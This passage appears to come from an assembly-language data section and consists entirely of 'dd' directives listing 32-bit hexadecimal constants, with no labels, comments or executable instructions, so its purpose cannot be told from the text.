		dd 4C8CFB41h, 0A55BB443h, 0F7C8BCABh, 0A7207F7Ch, 60B00C3h
		dd 6F9367E4h, 8460A00Ah, 219263C0h, 6E542632h, 87AABB4Ch
		dd 366912ECh, 0A3442095h, 0A250F6CFh, 6414AA84h, 17415A9h
		dd 11A856B0h, 7C32B7CCh
		dd 0FE01E100h, 9A4B9C5Bh, 7F8E7D0Eh, 0D83C86A0h, 0B5CCE5D0h
		dd 0CFA911B4h, 85610CB3h, 3E7CB16Ch, 193C0BCDh,	4F7E3800h
		dd 0FA65173h, 663CF901h, 0D7A17988h, 7B8A020h, 0DDBFCD89h
		dd 0F89452C5h, 0EA5000C0h, 0E8C2848Bh, 2F052F98h, 0F7082332h
		dd 11C03030h, 0DAFB68Eh, 633DFC6Fh, 706AF098h, 3FE4C609h
		dd 0CA289031h, 6E300673h, 0C86CB533h, 390D1C20h, 97304C82h
		dd 0F1FCD951h, 11B79C31h, 0F1A6B817h, 24BC2A4Ch, 8C2888C9h
		dd 17B94B82h, 0E829AC60h, 49A32428h, 3E05C0DCh,	21CAA81Ch
		dd 0E6E0329Ch, 154A09C0h, 6AF22B15h, 0A81B03B0h, 3F32D2CFh
		dd 7003768h, 0FE8C5908h, 79017E19h, 0B53B29EDh,	10889E4Bh
		dd 0AC903158h, 67148021h, 84828BAh, 70200C64h, 2E222540h
		dd 4A009844h, 29BFB4ECh, 0F09E2F7Fh, 0AA08A124h, 0C01D9900h
		dd 1E0165F0h, 6488607Eh, 48805696h, 593AEB19h, 0DB0C25B1h
		dd 182B04E3h, 0E6611BBFh, 8C038E1h, 503C12F6h, 56F675ACh
		dd 857434F6h, 4462D200h, 8CEBE445h, 60067908h, 0BC12886h
		dd 0F73A6738h, 32771301h, 8A8C9200h, 7CC45827h,	8E4014F6h
		dd 51800C37h, 0A79D1ECh, 0FB074B7Ah, 5AC730FDh,	269E809Fh
		dd 54E1F251h, 9240C9h, 6D8E5296h, 30257904h, 0C0FB9701h
		dd 0C28A073Ch, 56CC080h, 0BF768E1Bh, 0DD7C49ECh, 39E8A960h
		dd 942E31h, 0FB903A07h,	7DD09F87h, 632B5605h, 940140E0h
		dd 0FA6CC28Fh, 0B0BF69DDh, 5DF6148Ch, 3B3011E8h, 0E3616835h
		dd 60BF7E87h, 342E4059h, 0C8C34A1Eh, 0FB49A61Dh, 9D0E051h
		dd 9AD93E26h, 0B91EC800h, 4898AE44h, 2DC70A05h,	0E010497Eh
		dd 40EC3AF8h, 4B28016Fh, 7FFE46FDh, 38822064h, 0A61C5603h
		dd 3A541D2Ah, 0B4A09158h, 0CEE2F6F2h, 80F218C9h, 3A889372h
		dd 0E78021Fh, 9F47CD6Fh, 0D1F68880h, 0A8A06037h, 0FB00152Dh
		dd 7045932Ah, 8D24FEh, 0D3C5765Bh, 59F936B0h, 5008303Eh
		dd 6C0638B8h, 48F2A1CDh, 8B7CFE48h, 0EC7E1DE0h,	0B3D918D8h
		dd 0D93B30CEh, 52F6B8B0h, 28DF0980h, 849642h, 345E31A5h
		dd 0B8204899h, 0F9EC2700h, 3B0471D0h, 0F8F264BFh, 124437BBh
		dd 85F9321h, 5540212Ah,	25021E64h, 4720498Bh, 286E544h
		dd 580B7F2Dh, 0F177317h, 99CC932h, 8006A14h, 0A3334B5h
		dd 568A7912h, 0FDC02400h, 775C4555h, 60354C4Ch,	18B53C00h
		dd 5DCCA44Eh, 5519B8C1h, 3C20BEC5h, 95A20181h, 0B54CA60Dh
		dd 0A9C4205Ch, 9BE69114h, 0BA6EF120h, 6900E518h, 571F27FCh
		dd 92930EC5h, 0F598E8h,	6C8E04B6h, 112D9852h, 0F0E7E424h
		dd 2F195980h, 95A6BFCh,	379D36D6h, 7C2D7C00h, 1F09FBC9h
		dd 8063FACAh, 9265090Ch, 36E538A9h, 0BC3C1D73h,	0AD9F0Ch
		dd 0CA9B3BA1h, 57176EB9h, 3A052101h, 21C0BD26h,	7C09165h
		dd 0EFE304A2h, 8C834070h, 589A073Dh, 0A7323B0Eh, 0A89CC0FCh
		dd 0BBEB9Dh, 0E3E1A446h, 56454F97h, 38CCC0A0h, 72CB101h
		dd 525BAD55h, 1EB580F4h, 3EB87109h, 0B6601D03h,	8D998624h
		dd 8CDBF4F2h, 6EFC0400h, 673DE023h, 0E2050C92h,	0D929887Dh
		dd 2CD5788h, 0B09F7EE5h, 0A1E01262h, 0C2004FD7h, 0A7712CA5h
		dd 11C6942h, 0F5B6AA2Ah, 602BB922h, 89FE11DFh, 1FF3A800h
		dd 40CF9946h, 9ABE0039h, 0C0F8A609h, 0D1002031h, 9FFE860Ch
		dd 7D361Ch, 44018910h, 0F4E2650Dh, 6DAD500h, 18EC4FF9h
		dd 41843BB0h, 0BDF79900h, 0D0AC136Ah, 74905300h, 5F649D78h
		dd 70520003h, 12CAA193h, 7503A33Fh, 7A444A9h, 0EA10A86Fh
		dd 9C0D1F52h, 1F908030h, 4DF30BF7h, 0BD956B03h,	9DD6363Eh
		dd 6EA0A800h, 0AB6703h,	0E0DBA1C9h, 3B3994BCh, 0F831B800h
		dd 3022FAB0h, 0C772075Ah, 20C5C266h, 582AE72Dh,	0AE2DC18h
		dd 387036h, 3DC86841h, 9ACF13A4h, 0C1D81907h, 7570116Eh
		dd 999B05h, 783B6CE9h, 6A08B17Eh, 1CA9FB00h, 0DDB23793h
		dd 35A60067h, 0CD830963h, 2C00BB3Ah, 0B1CCF5A9h, 285CC5h
		dd 0EBEEE542h, 32A08DECh, 77795B00h, 465CCC6h, 0E4940027h
		dd 932E235Fh, 0D75C6FDAh, 9D540044h, 0EE0D0FCAh, 8A90C7h
		dd 0FC900532h, 303678F4h, 9BBC7600h, 9719401Fh,	0A2CF1FC2h
		dd 3F92C0F0h, 93819AFAh, 0D211CB00h, 0BDEBE83Bh, 58E200E6h
		dd 33779E01h, 5D002A0Fh, 3FABF909h, 1601696h, 0CD39B925h
		dd 500F76A4h, 2E9187B8h, 2B438B00h, 0EC9B5EC9h,	1D7200F6h
		dd 3D138638h, 83006352h, 0A461EBAh, 7D23AC6Ch, 5760018h
		dd 1C143AFCh, 5A0070C0h, 755B7EEBh, 0E808CEh, 3A368D84h
		dd 187BA9Dh, 71DBAA00h,	0A4936166h, 588E006Dh, 0C3347C28h
		dd 7F00253Fh, 4C3CC64Dh, 27DEE4FAh, 2749B54h, 286D7800h
		dd 0F6470B2Ch, 18F50084h, 0A7A56B89h, 0A6009788h, 0DDC99555h
		dd 5D2FC4h, 0DF81B037h,	0D0910341h, 0B6485975h,	5EE20ECCh
		dd 77838061h, 0A0E5F8h,	0CD9268AFh, 0BD90956h, 76A27C00h
		dd 2A5F0D89h, 0E02500A0h, 0C8921632h, 0D47D4D14h, 74DF290Fh
		dd 60194058h, 4E046Ah, 55AC6C9h, 547BEB09h, 93AAE001h
		dd 7CB62FC2h, 55B9D8h, 5979A6BFh, 62C003EEh, 52AC1500h
		dd 96F4EF5Ch, 4E0A0013h, 5006BA8Eh, 0B60F0B26h,	0C0C28467h
		dd 57305A40h, 0E63E00D3h, 0B3F32120h, 1C0081D5h, 0CDEE5802h
		dd 2BE3FFh, 0C18EC209h,	6BB5735Bh, 0C1E7605h, 8007BC17h
		dd 0BF11097Bh, 0F05106CBh, 9FFC2BB8h, 322500A2h, 0AC29D198h
		dd 0CA00C928h, 9CA01AC8h, 7D86C6A1h, 0BD8024E8h, 40E11CA8h
		dd 0D8071962h, 0FD123FF6h, 28015877h, 9B79A32Bh, 7564F4h
		dd 334E2094h, 8A1BEB23h, 8632900h, 0F8DDE3E2h, 22D260Fh
		dd 0A6F90F1Ch, 1B707E3h, 82806000h, 9B29EEC3h, 0C2E23BB6h
		dd 9EFD30Fh, 25BDB5C3h,	0EAD2B088h, 3FF71E1Ch, 0E6818218h
		dd 831500D1h, 98624163h, 160069C8h, 6B352693h, 3E7D420Dh
		dd 0DD01E74Ch, 1106E49Dh, 3A9FE8D5h, 71B7CF00h,	0A9743D1Fh
		dd 0B86D0063h, 94D6EE47h, 3A00ED3Bh, 0C789145Bh, 0EFFADC3h
		dd 28D31690h, 0C08B5240h, 0DB00FAABh, 213D9634h, 1264EF72h
		dd 0A9473Bh, 75814A58h,	690005B6h, 0D8EC3F1h, 5822FC2Ch
		dd 12002408h, 0B86B4101h, 1D006EE4h, 33038F3Eh,	3C9DACEh
		dd 658062A5h, 0E2E0E610h, 0CD003A53h, 0E5C29D24h, 0A48E8Dh
		dd 7529B5C7h, 4F3C1CDDh, 0FC9031B0h, 144D0EB0h,	0B6A300FCh
		dd 554DB8F2h, 0D890C683h, 9C8414F4h, 0E1E4760Ah, 0D780E0D2h
		dd 7D995A1Ch, 0F0E00035h, 0ABEA2803h, 0A97CDF47h, 86276A00h
		dd 0FE8FE7C5h, 2CB050h,	12163DAh, 5FB68889h, 34008E74h
		dd 0E0D5783Eh, 6947CCh,	67CE4D0Ah, 0CB2CAE10h, 0EE8B6D00h
		dd 7FBA8955h, 0DDDF1E0Ch, 81F7C784h, 0D0DC8736h, 77919ED6h
		dd 99BDA51Eh, 83E380BFh, 4FA68E50h, 0D93002Ah, 7B8A7088h
		dd 0C200A768h, 0AB90C3FCh, 0E3F21Fh, 423A5530h,	0EF15E091h
		dd 0D700677Ah, 21AD0C5Eh, 0F379EBBAh, 8ED2D4h, 87AB6D20h
		dd 9F4A2369h, 0E10758h,	7F4B3865h, 0A0BF51h, 302B22D2h
		dd 7FBCFEFh, 2EE82C4Bh,	4AB6FF00h, 0F86F0E4Bh, 0F5081300h
		dd 81545B72h, 7AB31F77h, 0EB80802Fh, 8A9E25B9h,	2B598D00h
		dd 615A3421h, 0E91F00A9h, 0F540C9BAh, 0AF05E11Ch, 8488107Bh
		dd 6A0C000h, 33CDA1h, 0CBA4E71Eh, 0EA45C872h, 0BC54200Eh
		dd 20302E83h, 63BF4EA7h, 0F8760E94h, 88016225h,	0E36C82D2h
		dd 0C4230E90h, 0CE185DB8h
		dd 47B0343Fh, 19627B79h, 100F9371h, 815534D1h, 25D00D63h
		dd 0A837805Ah, 0BF870078h, 0AB101F02h, 6304B293h, 0F2A60EAAh
		dd 640D9F80h, 16018C3h,	0CEAB686Ah, 30595C22h, 3A246231h
		dd 0DE1CEE94h, 0E21C526Ch, 0FD604206h, 302AE620h, 26B183CEh
		dd 0E390865Bh, 9DEA0B00h, 16688D06h, 2790004h, 93E7D6ABh
		dd 63038991h, 0DF2E6D3Bh, 4CA09707h, 50CFCBh, 53068146h
		dd 0E3FC583h, 25494F00h, 0D52CA960h, 0D7FE000Bh, 62619079h
		dd 0A100AE31h, 6C94E143h, 0CAE6FFh, 0A4D4ABE0h,	0B9D55902h
		dd 63054900h, 55677278h, 76E576ACh, 9834E452h, 0AEAD2ECCh
		dd 74560760h, 0A94BE012h, 9001C4CDh, 4C4E01A5h,	0D2FC8E9Bh
		dd 59F2000Ch, 0BA2FE05Fh, 5500EC2Ch, 0B94D7392h, 0F4C8462h
		dd 0A35B6114h, 0C8BA15A0h, 605012C5h, 600318Ch,	9B0A09C0h
		dd 6D6FCDh, 42E0E8C9h, 0A24E899Eh, 0DA00CFE6h, 0E448D525h
		dd 8F0964h, 5CA8461Fh, 7DC09C7Ah, 607ED700h, 3D94CA23h
		dd 326B00A9h, 97B7F10Ah, 2A71E1A7h, 8227331Fh, 0FFE295C0h
		dd 0EAC75Fh, 0D3C0171h,	2B3F35D4h, 0EB51F600h, 7CE28008h
		dd 13441C93h, 0B84F47E3h, 951E70A6h, 0B200E0D0h, 0F5D6B919h
		dd 1DA23Bh, 5CFF6E21h, 0A79CA1A6h, 0B2C47F00h, 8B606AB1h
		dd 0AB9A0009h, 0B0312959h, 0E500B776h, 3C3311C1h, 918C1Bh
		dd 0A22C7A5Bh, 0AA8E9DB9h, 5C723100h, 0ABE7AF94h, 63F30025h
		dd 0C0085169h, 56274549h, 1E9C7820h, 93E9EB2Bh,	7F6800B3h
		dd 9D82CA1Ch, 9E6C9154h, 0EF388D03h, 0E09809C7h, 790E3E32h
		dd 0D08000B9h, 0C1FEA886h, 0B5006249h, 6A55B49Dh, 5CF0FFh
		dd 0DB0E3BF4h, 47832F79h, 86293F1Fh, 0CC88BF80h, 30756774h
		dd 24184ECDh, 730014D9h, 0DD5E9EF3h, 5292DFh, 6BE83E33h
		dd 8B6A7DEAh, 0FC2A9428h, 26DF0D00h, 2BDEB185h,	983E9879h
		dd 0C241CAFh, 475789h, 0CF6627BEh, 34008642h, 4A257C4Dh
		dd 9006E73Eh, 0E5E11716h, 9CD804C5h, 5AB49080h,	8107F2E9h
		dd 44CD7D58h, 0E8283773h, 3A1A6710h, 653CD79Bh,	0A7B1A980h
		dd 0EC1FF5A2h, 4B0756EAh, 2DEF5AC7h, 9981BA60h,	0A53E0262h
		dd 6FF6AD3Ch, 5280F08Eh, 314AEF3h, 5A95B304h, 84C1F940h
		dd 0B883355Bh, 9C73AC87h, 2B4C317Fh, 696B0082h,	48DEEF3h
		dd 0F4FA50DEh, 0B2A30085h, 0D211EF2Fh, 1B0058C2h, 4564DB16h
		dd 23856AFh, 48B64C77h,	3048B280h, 3AEA1D32h, 0B18B6200h
		dd 2C7C4631h, 0D3DC15F6h, 6600AC80h, 5D88C62Bh,	493AFFACh
		dd 3244F80Ch, 7E5A00AFh, 79758F64h, 38009A31h, 0B6B225FBh
		dd 66C069h, 0CD510520h,	609F73CBh, 36FDA300h, 0F0CC2906h
		dd 5CC6004Bh, 4F58B2AFh, 0F1016BA6h, 0CA3E2F80h, 0BCEC6C09h
		dd 659F0F8Dh, 1D80E9E8h, 0FA33FC4Bh, 5E83AD00h,	6BE53520h
		dd 6A6500B2h, 4866490Ah, 0A93B62E2h, 0DB00FFA1h, 13D764FEh
		dd 247C2B8Fh, 3D787445h, 78B3AD01h, 6467C7DCh, 97047B50h
		dd 2955A682h, 266EE080h, 8980004h, 70CB6291h, 37001F5Fh
		dd 9A4EB3B6h, 56E0C1h, 0A772A82Ah, 0D692536h, 0CA9E1607h
		dd 0DC50D329h, 0A028E35h, 5D64C74Dh, 40BE8EBCh,	0AC842440h
		dd 8310C0D5h, 0F51154ADh, 4E70096Bh, 550007D9h,	8016CA52h
		dd 0B67817B8h, 2A7C0445h, 80E0BC9Ch, 95EF47F4h,	0C6FFB200h
		dd 48B3580Fh, 0BA900020h, 0E7FE44A9h, 8E04E10Eh, 0C958A30h
		dd 0C3276E80h, 710B002Dh, 92D9B7A5h, 0C40011E0h, 5168ADC8h
		dd 0E323B1h, 0A286532Ch, 8E07BF4Dh, 6C479500h, 0B83D129Ch
		dd 5B8C002Ah, 480A4149h, 4E03A311h, 95D7DDA5h, 71C8BEE4h
		dd 0FD8E00D0h, 0C31C1DACh, 96FA335Eh, 27879900h, 58D4732Dh
		dd 0E5DE5C07h, 690F1A0Eh, 1D13EAA0h, 5600DC93h,	92444A29h
		dd 70B65B5h, 2A1B8909h,	0DAD630DBh, 0D715DCC1h,	9C2DB9h
		dd 19E12063h, 2E7C8Fh, 0DEB53294h, 0A3D088B0h, 0F6AFFC05h
		dd 0C404642Ah, 0D0C14ECFh, 50F0E002h, 0F55287Bh, 0EF2707B4h
		dd 9057061Fh, 0B01BEFCh, 0D94018C0h, 60E1AAE2h,	781B7076h
		dd 0BF034837h, 17CE4672h, 697BB841h, 58884C58h,	4CABC904h
		dd 7F40C343h, 72AD7AA0h, 64498300h, 8015F98Bh, 0F05A0008h
		dd 413282DAh, 4A1F8753h, 4EC0D76Fh, 10A9860h, 6E350058h
		dd 0FCDC6A40h, 97007F71h, 0B6BC61Eh, 480469A5h,	94003C0Fh
		dd 0AE0C27ECh, 550711A3h, 80187846h, 710D7FA0h,	8FADEh
		dd 0D8164CFEh, 3A1E5AC1h, 113F8C7Fh, 936405E5h,	0A4802B19h
		dd 0F2CC6Ch, 0D5729979h, 80A9102h, 0FB0FE700h, 0EEAA23CEh
		dd 1D73F65Fh, 7DCA2EF2h, 7A288F00h, 620ED177h, 1BC3D603h
		dd 0F0AEA099h, 0F8A81FCEh, 0D7DE00A4h, 1E039EF7h, 2F00956Eh
		dd 514992BFh, 0BDC4F0h,	3840A970h, 0EB310844h, 3BEEE100h
		dd 0B5614707h, 0F359FAD3h, 43FDF8h, 0C99DB00Eh,	0ECEBC7F5h
		dd 0F60711F4h, 2A79585Dh, 778008E5h, 3922B72h, 0F8712187h
		dd 22B041DAh, 444A0924h, 0F6652400h, 2C0DDF3Fh,	66A9CAh
		dd 13207B99h, 0AF0F97C7h, 734BBEh, 0D65951F7h, 0F01100F3h
		dd 0BCAA7E6Ch, 892C02A3h, 3BF1C81h, 0DEFE4CBAh,	788FF0E3h
		dd 4E45241Ch, 230480B8h, 0C57A2E2Bh, 14348B01h,	89C2E5DFh
		dd 9B3360h, 0A270922Fh,	0BF1A37E3h, 63B8C502h, 0E8480205h
		dd 7EA0D74h, 1A0881AEh,	52FB33C4h, 280944A0h, 20620C7h
		dd 416193C7h, 1C29C122h, 0A3590403h, 0DC816A27h, 3708813Ah
		dd 0C2BA88C3h, 3D6028C4h, 0F70794BBh, 80C72938h, 0CF8A82B2h
		dd 98972A00h, 3D84A49h,	50F09242h, 62CA6Fh, 8260A4E3h
		dd 336B9CBh, 8CC46A01h,	0BC0B47Bh, 574CE0h, 52CEF5BBh
		dd 0F8F28790h, 5CAB314Ch, 54E8006Ch, 613CE0C5h,	0B60F0128h
		dd 0AA6E9C81h, 72F7F05Ah, 66DC9D00h, 2E8DE8D5h,	0D1AF0025h
		dd 0C519EF97h, 1000ABC6h, 0BF5D7A82h, 154ACFh, 6B6576AAh
		dd 43501644h, 8E059F00h, 8AD510DFh, 618107C7h, 109B3979h
		dd 0C55565D0h, 0FD0022FEh, 0C8273A49h, 77AA3E6h, 1AEF6124h
		dd 0B5120005h, 9800BC4Eh, 519D45D1h, 0E768E3Bh,	1459D4FEh
		dd 0AFB76C20h, 0E60E0CB6h, 60F90185h, 0AC36C2CAh, 0A81803CEh
		dd 0BC4B0A1Dh, 0F95569C0h, 22445F00h, 14E9E754h, 3F2E39B8h
		dd 0FD86B080h, 3B0A75C0h, 0A717D100h, 2E76BDD4h, 0C4F42Dh
		dd 0AEF68A3Ah, 0A248E6D6h, 0DC92007h, 55C0CAB9h, 0E2187111h
		dd 58ECF837h, 801CF16Ch, 465E40C1h, 54B4E2A4h, 0A7919300h
		dd 0D3B9BCA9h, 5C0500D7h, 0A5E78CF9h, 0DC1CF4DBh, 778027A2h
		dd 0BF0C399h, 2D5E0025h, 6415A8FBh, 7D3ED550h, 801E39DEh
		dd 92B81D78h, 1332FA2h,	2B8A1BACh, 8070B9BAh, 71868780h
		dd 0DEB0FFh, 30E9D44Bh,	4EDD95B4h, 92F6F700h, 8DD5B26Ah
		dd 4FA5008Ch, 0F942B328h, 2F00730Bh, 38C86659h,	19571A0h
		dd 1F6CE353h, 0D009BF87h, 0CE004514h, 0BAEE3624h, 0EC8485C4h
		dd 60E400F7h, 732579D6h, 47005741h, 70E3C556h, 49B97EEh
		dd 864E683Eh, 78C6C25Bh, 0C76FBD40h, 0B9F23000h, 74F19B7Ch
		dd 4F7200C2h, 1A29A215h, 0B80088E2h, 8A50EADAh,	9291F37Ah
		dd 75B00160h, 0E398DC4Bh, 8E808035h, 6DAEDAC2h,	0E4FE0F51h
		dd 6EC11194h, 40680A20h, 95B2D7EAh, 5E70280Fh, 0CDD4074h
		dd 140D53ABh, 0D029D694h, 45FA7100h, 68DA6039h,	2DBB1000h
		dd 4379C52Bh, 0E35F1D07h, 7592BEh, 5E284821h, 987109ECh
		dd 0F4F83900h, 0FD46F374h
		dd 62CE1385h, 90D9004Ah, 0A4727AC0h, 44CDA900h,	0A1EB8637h
		dd 0FB970369h, 23E77331h, 9022A7A8h, 0D3E18800h, 0E44BDA9Ch
		dd 0FCD51E53h, 2B4945E7h, 87880004h, 54EBE65Eh,	0B69044E8h
		dd 0D552DA03h, 0E3B071F9h, 45113AFDh, 0A838EE9Ch, 67930050h
		dd 17AC5D8Ch, 8A006BA2h, 7E801B53h, 147F54B5h, 84DC34AFh
		dd 88009D7Bh, 0E7D92793h, 0BB94D00h, 0A89BA6F8h, 157E040Dh
		dd 803B1089h, 0C5A26764h, 8E87FC00h, 64E486A7h,	0B99A02A3h
		dd 363A7139h, 82A820E0h, 85B38D00h, 0C9E6F1FAh,	1AAE1EBBh
		dd 0D2708A45h, 75F000ECh, 4626BE49h, 180ABF24h,	2C15CE87h
		dd 0A020E872h, 2F57B294h, 1C6B009Ch, 0F90D0314h, 8000BA62h
		dd 1ECB4305h, 2657B7C7h, 30620839h, 0ED5E9421h,	0ADAAB900h
		dd 32544CCBh, 0B421003Dh, 0A04B7B18h, 470FCEA8h, 0E73B0ED6h
		dd 0D2919303h, 9020E283h, 5AE939B0h, 808E801Eh,	0A17F7397h
		dd 207150E3h, 4229D301h, 17F96F7Ch, 30954FD0h, 0E3D8F706h
		dd 0DD04FFCDh, 0AE4BDF76h, 0E9EC2942h, 448CA980h, 190004B5h
		dd 6F15E7DDh, 458593h, 4F9C57B6h, 0E5FFF9BEh, 4B000890h
		dd 8FD495E3h, 1634E01h,	9B73D0Fh, 0A8474A3Ch, 410088B8h
		dd 24A2C5E0h, 2E87CDh, 2A6EC457h, 130F54B3h, 965F6D00h
		dd 16AA7A25h, 12310355h, 749314F1h, 0A784E1F0h,	2F72300h
		dd 5BA437B6h, 2CF500D4h, 72E9C0CFh, 4B98826Bh, 16594C00h
		dd 0C47E6FE3h, 0B74E12C2h, 0BC1C06h, 73BEB5EDh,	4D00A638h
		dd 5935F3CEh, 93A804h, 0B54AA4F2h, 345481DBh, 7FAFF60Bh
		dd 9CE00045h, 0FAA3178h, 1DDCE6BFh, 7AA98860h, 0C8002292h
		dd 0D509F0C1h, 3F24255Dh, 79823FBCh, 4929305Ah,	800EB8A4h
		dd 2CC36032h, 0B740C100h, 1E8D5A45h, 0D213DEDh,	0EC1F4200h
		dd 4A9C024h, 739A4600h,	23EA5397h, 5B322EEFh, 864400AAh
		dd 0DD01CD1Ch, 0DC1DC503h, 9025C26Dh, 1896AABh,	75F6E64h
		dd 0E80B1594h, 5100B80Fh, 1A2F2160h, 0E4B47726h, 0D89207h
		dd 0BCE2D9EEh, 22F0A1CCh, 145D3A05h, 0EC00C29Bh, 86F1974Ch
		dd 0DF4A827h, 987B07F7h, 0D0D07099h, 8258C68Ah,	84FA4500h
		dd 2BC8064Eh, 0C33D37EAh, 0F0E55730h, 6BE71CA5h, 63600A72h
		dd 0CDEE8579h, 0B7FB00E4h, 0C10CA4C4h, 3EA6655h, 0E4E4C751h
		dd 4900150Fh, 2F59E2A3h, 3B40ADh, 2493ED7Bh, 864284DBh
		dd 0BD65DE03h, 980DF2C3h, 2743479h, 24C2D0FDh, 0B34001A7h
		dd 0E7070966h, 0A317E3F0h, 1AEB5AD0h, 84BE007Ch, 2AFB346h
		dd 0CA00BC55h, 0B6DE87CCh, 24713C56h, 320CD09h,	9A2A4A66h
		dd 48ADE2D0h, 6D7A010Ah, 55018891h, 31D28D98h, 0FF25C4h
		dd 0EC20B2Eh, 0C167647Ah, 70809F0Eh, 2F2B80B0h,	0D09775h
		dd 0F7945540h, 4BE6326Dh, 4ABD8700h, 0A549A685h, 10E103EBh
		dd 732B92E7h, 5B11DBA8h, 0DF463E2Eh, 3B93702Fh,	5097CED2h
		dd 40DD01EAh, 4349785Ah, 66E095CFh, 0CC016003h,	2FF83374h
		dd 0DE703D91h, 2CE20006h, 0E0D0EDDEh, 5D0FE465h, 20CF2829h
		dd 1EE14FDBh, 53611764h, 9C17007Bh, 0BF8127C8h,	6DE21D00h
		dd 132D49F6h, 36D8EBCFh, 0D49402CBh, 57AC280Bh,	4702ECC8h
		dd 0EBED5900h, 58E4B5AFh, 0C17486h, 0E39A6320h,	67D51139h
		dd 7FD0684Dh, 0C61DB91Ch, 756ACC01h, 0E2C8B4CDh, 0CB440007h
		dd 0D99EE00Bh, 40C087DCh, 4F2EE4EBh, 27070069h,	41157732h
		dd 6D00D4ACh, 406773C6h, 10B3CEh, 55847013h, 5423BDF1h
		dd 2942B3Ch, 5D610621h,	0EB806165h, 19AD1D0h, 8F0DF689h
		dd 60B787A6h, 0C400A4D1h, 0BB4475ABh, 3C4FCC57h, 63D82F55h
		dd 22809800h, 0BC027009h, 7AC26401h, 0DE59BD46h, 3A1CDCh
		dd 91B6F12Ch, 7D320D8Fh, 0E09DCA0Bh, 3C1480BCh,	6920CA2h
		dd 4271F13Bh, 22F888A0h, 0FFECE907h, 2E7FB2F9h,	80408219h
		dd 0E5984017h, 0A6AF00A1h, 7F44C51Bh, 0D901347Eh, 841394FDh
		dd 11C42B09h, 29BC01D0h, 620206C5h, 357CF8A3h, 9700C0F8h
		dd 0EB4637F7h, 50774450h, 1E3C3C89h, 0B020CB2h,	0C20ECAFh
		dd 78729E53h, 0AA20D260h, 0F405E40Ch, 0C18107E7h, 1523EF4Ch
		dd 761800DCh, 6618A043h, 729610Eh, 8D2810Eh, 92E502CDh
		dd 0ADFC9075h, 0FFBCA881h, 8BE8C3E9h, 57B95C3Fh, 0E09C204Ch
		dd 52B9B000h, 0B48737E3h, 10700014h, 5A972DA9h,	0A2017FA6h
		dd 6CF4EBD2h, 53DC50BBh, 0B37BD6h, 78550311h, 5FA93642h
		dd 12F9A000h, 9E981760h, 0E6A1EC9h, 0F59C0C64h,	44004391h
		dd 0F63EADEAh, 0C0C32167h, 0EBB1419h, 647055F9h, 2E6C60Fh
		dd 5C40F3FEh, 5FCB1D7Fh, 0A5980038h, 40691B9Dh,	2D1BC6E8h
		dd 0DA185107h, 42FBE0FEh, 78D6F880h, 0AFE81EE9h, 0F63A005Dh
		dd 939B9768h, 88B2E52Ah, 0D820E10Fh, 0E0BE4762h, 8588E850h
		dd 1FA67867h, 77012166h, 0CDB01380h, 0F1181905h, 0E440BC15h
		dd 2EE532F2h, 688760AFh, 0DDA01D78h, 0EB983500h, 0D32D7924h
		dd 6FA0CB82h, 0E590BD01h, 3E818363h, 750AFD3Fh,	724A0058h
		dd 57E95086h, 1C6FA18Fh, 0CEBE018h, 1E64564Fh, 3B09B454h
		dd 4AA21Eh, 2C65D5E8h, 1D18F58Ah, 0EE585538h, 9CC7282Eh
		dd 7240048h, 0E73397D2h, 0AB0084BFh, 0A9F7FE2Bh, 7E0E6FFh
		dd 3AE41730h, 4476D0B8h, 7800642Eh, 7AD82977h, 4C173342h
		dd 0F1006734h, 4385FB01h, 780C7CBEh, 58F7F3A0h,	452E00C5h
		dd 790488C1h, 7C1BFA42h, 0E068294Bh, 0CE02B5A9h, 84E3DD18h
		dd 591367E1h, 0EBA423h,	44CEC951h, 8C6B182h, 0C204557h
		dd 2B75AC26h, 25404350h, 0AAA91B31h, 502388FCh,	75D80180h
		dd 18A9FD3Dh, 0A0C2882Fh, 3C907514h, 83E40086h,	0D8036BCAh
		dd 0CAF7E7Fh, 41AB7CB8h, 0B6C0EC68h, 0E8199142h, 17371E5Dh
		dd 4FD31D03h, 9C00A2A7h, 84A9F107h, 18CC08C6h, 4F720020h
		dd 62101FA7h, 15007D47h, 228FF02Eh, 0AB48F902h,	3B101B0h
		dd 5A6C0AC8h, 80C447EEh, 0E10495E2h, 1FCA685Ch,	245DC567h
		dd 0B1211818h, 36040083h, 0D3A7F557h, 28119274h, 7300FBBEh
		dd 476ADFFh, 780069BBh,	0F5B56D3Fh, 1E38BCB4h, 0B7D774FDh
		dd 0C5B7D0E0h, 51304D42h, 2CE20D0h, 431230B5h, 0EAF733C8h
		dd 0AE812E00h, 0C03411FFh, 0F08CC26h, 0F2008021h, 1A64382Eh
		dd 1B4488F9h, 0E030084Eh, 0A918D87Bh, 7388BDE0h, 364B384Ah
		dd 50AD6F00h, 17704CDh,	0A88C4300h, 51A5EE6Ah, 0F5C000C1h
		dd 3A8F63FDh, 0CA035BA4h, 0ED211A05h, 0B10AC08Ah, 34500EAh
		dd 0B37742A3h, 1A011CDBh, 3E397DA8h, 0A1F84E74h, 0FC3100D6h
		dd 9870EA02h, 0DB1BC0F1h, 0E22945ABh, 3DAC2273h, 22C34422h
		dd 0F62241D5h, 296C2280h, 0B2215824h, 20FA12AEh, 3E55687Fh
		dd 0F6880602h, 801CE54Fh, 0AD4041FAh, 520F0004h, 3C8CB5C4h
		dd 0E3009D6Dh, 0AB1A845Ch, 0A0D1B6h, 0C46FD70Bh, 0F24C2DD2h
		dd 0EF34Ch, 9ACC1434h, 55F0Eh, 46F54D67h, 201EAD8Ah, 0B11751F4h
		dd 0A80089E5h, 0EFEDDF7Dh, 9C2F3B8Ch, 2C4A5980h, 0C2711435h
		dd 4477B400h, 0D1DAB1Bh, 0F570F38h, 9FA0F5E3h, 0C8A0CCF3h
		dd 0EBD97F00h, 96718E10h, 8F183077h, 0CE5640B2h, 0CB749807h
		dd 0A1F0EE1Dh, 4BD004h,	2A01EFC1h, 2DC3F4A9h, 0A73D58h
		dd 6490420Bh, 0A9E1749h, 220F350Dh, 5C460080h, 59E5448Dh
		dd 0D6DE6700h, 39942CD3h, 52E70079h, 0A470044Fh, 0FA184CA0h
		dd 88B0AAF8h, 0DC251D98h, 83007CB4h, 0B3FF936Fh, 44FE3989h
		dd 1BA2400Fh
		dd 0D6D9204Ah, 16AD5274h, 7750C73h, 606C13E4h, 0F30B5BDh
		dd 0CC80D607h, 1D70D917h, 3F9CEE7Bh, 204CF6D3h,	4149E10Eh
		dd 5E64B720h, 7D00E4B3h, 79DAF190h, 0E0414DBh, 65460671h
		dd 0F5895D00h, 2403A753h, 43A5C441h, 4AA58FD8h,	646DC7C0h
		dd 7C3B00A0h, 4C88E3B6h, 290075A5h, 78657154h, 16E99BC9h
